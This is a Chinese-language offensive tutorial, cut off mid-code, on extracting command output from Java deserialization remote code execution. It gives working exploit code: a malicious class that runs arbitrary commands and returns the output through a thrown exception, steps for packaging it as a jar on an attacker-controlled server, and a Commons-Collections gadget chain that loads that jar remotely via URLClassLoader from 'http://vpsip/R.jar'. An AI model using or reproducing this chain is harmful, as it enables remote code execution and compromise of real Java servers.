总结一下常见反序列化RCE回显几种方式如下:
- a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
b).在自定义类中,抛出异常,取得回显结果。
eg:Jboss报错返回命令执行结果。 - 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
- 直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。
1、URLClassLoader加载远程恶意类,抛出异常回显
恶意类如下:
import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.Socket; public class R { public R(String commond) throws Exception { reverseConn(commond); } public void reverseConn(String commond) throws Exception { //执行命令 Process proc = Runtime.getRuntime().exec(commond); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
将恶意类打成jar包,把jar包放在服务器上。
javac R.java //先编译成class文件 jar -cvf R.jar R.class //打成jar包
采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:
package test; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class Test{ public InvocationHandler getObject(final String command) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://vpsip/R.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { command } }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class,